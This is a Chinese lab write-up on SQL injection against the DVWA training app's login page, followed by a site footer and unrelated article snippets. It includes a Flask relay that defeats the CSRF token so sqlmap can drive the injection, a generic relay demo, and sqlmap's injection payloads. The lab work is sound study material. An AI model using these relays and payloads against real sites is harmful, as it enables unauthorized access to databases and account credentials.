【SQL代理中转注入】对DVWA登录界面username字段实施注入

一、实验过程

 

步骤0:注释掉相关username防护,截图如下:

以DVWA为攻击目标,将login.php中第21、22行注释掉

步骤1:源码分析,截图如下:

如此可知,首先需要通过token验证,然后能进行查询。

1.token验证通过。

这里token用到的函数是dvwaPage.inc.php中调用的

通过查看函数被调用的部分和逻辑,可知该检测是如此检测或者说避免CSRF攻击的:


①访问login.php,页面生成、存储并返回一个session_token1

②用户输入账号密码等动作,点击login,是以post方式把请求参数以及user_token=session_token1提交

③服务端接收请求,比较user_token是否等于存储的session_token,如果是则通过,进行下一步动作。

④服务端销毁旧token,生成、存储新的token,并把token附带在响应中返回

重复②~④


因此,我们只需要现访问login.php,不带参数,然后即可获取token,然后再将token作为参数之一,发送登录的请求包即可。

这就是我们中转页面所做的事情

2. token绕过以后

实际上就可以直接上SQLmap摁解了。但是如果我们细心的看一下sql查询语句,即可发现:如果我们输入形如的用户名,查询的sql语句即


admin' #  

-->  

SELECT * FROM `users` WHERE user='admin' # ' AND password='$pass';


也就是说直接查询登录(如果存在该合法用户)admin用户!

然而我们不只是要登录,还要获得尽可能所有人的账户密码,那就还是sqlmap吧~

开爆即可。

步骤2:编写基于Flask框架的中转:

from flask import Flask
from flask import request
import requests
import time
import hashlib
from bs4 import BeautifulSoup
def generate_session_token():# 模拟 PHP 的 uniqid() 函数unique_id = str(time.time())# 使用 md5 哈希算法生成会话令牌session_token = hashlib.md5(unique_id.encode()).hexdigest()print(session_token)return session_token
def custom_fun(payload):# 构造请求头部信息headers = {'Host': '127.0.0.1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Content-Type': 'application/x-www-form-urlencoded','Origin': 'http://127.0.0.1','Connection': 'close','Referer': 'http://127.0.0.1/DVWA-master/login.php','Cookie': 'security=low; PHPSESSID=ooao2k5lopsqj2trhv42gi7r9i','Upgrade-Insecure-Requests': '1','Sec-Fetch-Dest': 'document','Sec-Fetch-Mode': 'navigate','Sec-Fetch-Site': 'same-origin','Sec-Fetch-User': '?1'}username=payload#获得session_tokenurl = 'http://127.0.0.1/DVWA-master/login.php'session=requests.session()resp=session.get(url=url, headers=headers)# 创建Beautiful Soup对象soup = BeautifulSoup(resp.text, 'html.parser')# 使用find方法找到第一个具有name属性为'user_token'的input标签input_tag = soup.find('input', {'name': 'user_token'})# 获取input标签的value属性值user_token_value = input_tag['value']print(user_token_value)user_token=user_token_value# 构造POST请求的数据data = {'username': username,'password': 'xxxxx','Login': 'Login','user_token': user_token}# print(data)session = requests.session()# 发送POST请求url = 'http://127.0.0.1/DVWA-master/login.php'resp = session.post(url=url, headers=headers ,data=data)    # resp = session.post(url=url,data=data)    resp.encoding = resp.apparent_encoding# print(resp.text)return resp.contentapp = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():if request.method == 'GET':payload = request.args.get('payload')elif  request.method == 'POST':payload = request.form.get('payload')return custom_fun(payload)def main():app.run(host='0.0.0.0', port=5050, debug=True)if __name__ == "__main__":main()

步骤3:SQLmap报告结果,截图如下:

1.注入类型

sqlmap identified the following injection point(s) with a total of 465 HTTP(s) requests:

Parameter: payload (GET)

Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: payload=123' RLIKE (SELECT (CASE WHEN (3554=3554) THEN 123 ELSE 0x28 END))-- MmOp

Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: payload=123' AND GTID_SUBSET(CONCAT(0x716b6a7671,(SELECT (ELT(2648=2648,1))),0x716a6b7871),2648)-- qezK

Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: payload=123' AND (SELECT 2742 FROM (SELECT(SLEEP(5)))ooXF)—WVlp

二、注入结果

三、附录

这里把代理中转demo发一下,遇到相关需求,改相应代码和逻辑即可

# demo
from flask import Flask
from flask import request
import requests
import randomdef custom_fun(payload):email = '{}@qq.com'.format(int(random.random() * 10000000))username = payloadpassword = '123'proxy = {'http': '127.0.0.1:8080'}session = requests.session()# 注册burp0_url = "http://192.168.154.130:80/web/register.php"burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}resp = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)# 登陆burp0_url = "http://192.168.154.130:80/web/login.php"burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}burp0_data = {"email": email, "pw": password, "submit": ''}r1 = session.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxy)# 登陆后跳转到首页burp0_url = "http://192.168.154.130/web/index.php"burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}resp = session.get(burp0_url, headers=burp0_headers, proxies=proxy)    resp.encoding = resp.apparent_encodingreturn resp.textapp = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():if request.method == 'GET':payload = request.args.get('payload')elif  request.method == 'POST':payload = request.form.get('payload')return custom_fun(payload)def main():app.run(host='127.0.0.1', debug=True)if __name__ == "__main__":main()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/2884.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CTFHub(web sql)(四)

Cookie注入 Cookie 注入的原理也和其他注入一样,只不过是将提交的参数已 Cookie 方式提交,而一般的注入是使用 GET 或者 POST 方式提交,GET 方式提交就是直接在网址后面加上需要注入的语句,POST 方式则是通过表单,GET …

feign整合sentinel做降级知识点

1&#xff0c;配置依赖 <!-- Feign远程调用依赖 --><dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-openfeign</artifactId></dependency> <!--sentinel--><dependency>…

【数据结构(邓俊辉)学习笔记】向量04——有序向量

文章目录 0.概述1.比较器2.有序性甄别3.唯一化3.1低效算法3.1.1实现3.1.2 复杂度3.1.3 改进思路3.2 高效算法3.2.1 实现3.2.2 复杂度 4.查找4.1统一接口4.2 语义定义4.3 二分查找4.3.1 原理4.3.2 实现4.3.3 复杂度4.3.4 查找长度4.3.5 不足 4.4 Fibonacci查找4.4.1 思路及原理4…

【03-掌握Scikit-learn:深入机器学习的实用技术】

文章目录 前言数据预处理缺失值处理数据缩放特征选择模型训练参数调整模型评估总结前言 经过了对Python和Scikit-learn的基础安装及简单应用,我们现在将更深入地探究Scikit-learn的实用技术,以进一步提升我们的数据科学技能。在本文中,我们将涵盖数据预处理、特征选择、模型…

Qt中的 tableView 设置 二进制 十六进制 序号表头

二 进制序号 因为QTableView的垂直表头并不支持使用委托来自定义。 相反&#xff0c;可以通过将自定义的QWidget作为QHeaderView的标签来实现这一目标。 代码&#xff1a; #include <QApplication> #include <QMainWindow> #include <QVBoxLayout> #include …

企业微信hook接口协议,根据手机号搜索联系人

根据手机号搜索联系人 参数名必选类型说明uuid是String每个实例的唯一标识&#xff0c;根据uuid操作具体企业微信 请求示例 {"uuid":"3240fde0-45e2-48c0-90e8-cb098d0ebe43","phoneNumber":"1357xxxx" } 返回示例 {"data&q…

opencv可视化图片-----c++

可视化图片 #include <opencv2/opencv.hpp> #include <opencv2/core.hpp> #include <filesystem>// 将数据类型转换为字符串 std::string opencvTool::type2str(int type) {std::string r;uchar depth type & CV_MAT_DEPTH_MASK;uchar chans 1 (typ…

rust是否可以用于8051单片机开发工作?

目前&#xff0c;Rust 在嵌入式领域的发展主要集中在一些常见的架构上&#xff0c;如ARM Cortex-M&#xff08;包括STM32系列&#xff09;、RISC-V等。我这里有一套嵌入式入门教程&#xff0c;不仅包含了详细的视频 讲解&#xff0c;项目实战。如果你渴望学习嵌入式&#xff0c…

递归、搜索与回溯算法:FloodFill 算法

例题一 算法思路&#xff1a; 可以利⽤「深搜」或者「宽搜」&#xff0c;遍历到与该点相连的所有「像素相同的点」&#xff0c;然后将其修改成指定的像素即可。 全局变量&#xff1a; int dx[4] { 0,0,1,-1 }, dy[4] { 1,-1,0,0 }; int m, n; int precolor;//记录原先的颜色…

debian和ubuntu的核心系统和系统命令的区别

Debian和Ubuntu虽然有很深的渊源&#xff0c;都是基于Debian的发行版&#xff0c;但它们在核心系统和系统命令上还是有一些差别的。以下是一些主要的不同之处&#xff1a; 1. 发布周期&#xff1a; - Debian&#xff1a; Debian项目采用滚动发布模型&#xff0c;持续更新&a…

CCF区块链会议--Middleware 2024 截止5.24 附录用率

会议名称&#xff1a;Middleware CCF等级&#xff1a;CCF B类会议 类别&#xff1a;软件工程/系统软件/程序设计语言 录用率&#xff1a;2022年录用率38%&#xff08;8/21&#xff09; Topics of Interest The Middleware conference seeks original submissions of resear…

【Linux网络】Linux网络设置

如果你不会网络设置&#xff0c;就好比自己的拖鞋被硬控了&#xff0c;导致自己无法下床 目录 一、网络配置 1.1 主要配置网络的配置项 1.2 ifconfig——查看网卡配置 1.3 route——路由 1.4 hostname——主机名 1.5 ss——查看网络链接状态 1.6 scp——远程拷贝 1.7 …

<网络> HTTP

目录 前言&#xff1a; 一、再谈协议 &#xff08;一&#xff09;认识URL &#xff08;二&#xff09;Encode 和 Decode 二、HTTP 协议 &#xff08;一&#xff09;协议格式 &#xff08;二&#xff09;见一见请求 &#xff08;三&#xff09;见一见响应 三、模拟实现响…

百度安全多篇议题入选Blackhat Asia以硬技术发现“芯”问题

Blackhat Asia 2024于4月中旬在新加坡隆重举行。此次大会聚集了业界最杰出的信息安全专业人士和研究者&#xff0c;为参会人员提供了安全领域最新的研究成果和发展趋势。在本次大会上&#xff0c;百度安全共有三篇技术议题被大会收录&#xff0c;主要围绕自动驾驶控制器安全、跨…

nvm的简介、安装、使用

一、nvm是什么&#xff1f; nvm是一个node的版本管理工具&#xff0c;可以简单操作node版本的切换、安装、查看。。。等等&#xff0c;与npm不同的是&#xff0c;npm是依赖包的管理工具。 二、nvm的安装。 2.1 nvm下载 安装包下载地址&#xff1a;https://github.com/coreyb…

共享单车(二):项目日志

stdin, stdout, stderr Linux系统下&#xff0c;当一个用户进程被创建时&#xff0c;与之对应的三个数据流&#xff08;stdin&#xff0c;stdout和stderr&#xff0c;即三个文件&#xff09;也会被创建。 stdin&#xff0c;标准输入文件&#xff0c;通常对应着终端的键盘。 s…

【C语言 |预处理指令】预处理指令详解(包括编译与链接)

目录 一、编译与链接 1.翻译环境 -预处理 -编译 -汇编 -链接 2.执行环境 二、预定义符号 三、#define定义常量 四、#define定义宏 五、带有副作用的宏参数 六、宏替换的规则 七、 宏函数的对比 八、#和## 1.#运算符 2.##运算符 九、命名约定 十、#undef 十一、 命…

IDEA本地将镜像推送到coding制品仓库

创建制品仓库 假设仓库名称为docker 在IDEA 添加Docker 注册表 IDEA必须先安装docker插件 地址 用户名和密码就是coding的登录名和密码服务器 最好本地安装docker桌面版&#xff0c;更容易操作 测试连接成功 推送镜像到coding的docker制品仓库 选中某个镜像 鼠标右键 注册表…

四.RocketMQ的几种消息发送方式应用

RocketMQ的几种消息发送方式应用 一&#xff1a;普通消息1&#xff09;发送同步消息2&#xff09;发送异步消息3&#xff09;单向发送消息4&#xff09;消费消息-负载均衡模式5&#xff09;消费消息-广播模式 二&#xff1a;顺序消息1.顺序消息指的是:严格按照消息的发送顺序进…

服务器数据恢复—ESXi无法识别数据存储和VMFS文件系统如何恢复数据?

服务器数据恢复环境&#xff1a; 一台某品牌服务器&#xff0c;通过FreeNAS来做iSCSI&#xff0c;然后使用两台同品牌服务器做ESXi虚拟化系统。 FreeNAS层为UFS2文件系统&#xff0c;使用整个存储建一个稀疏模式的文件&#xff0c;挂载到ESXi虚拟化系统。ESXi虚拟化系统中有3台…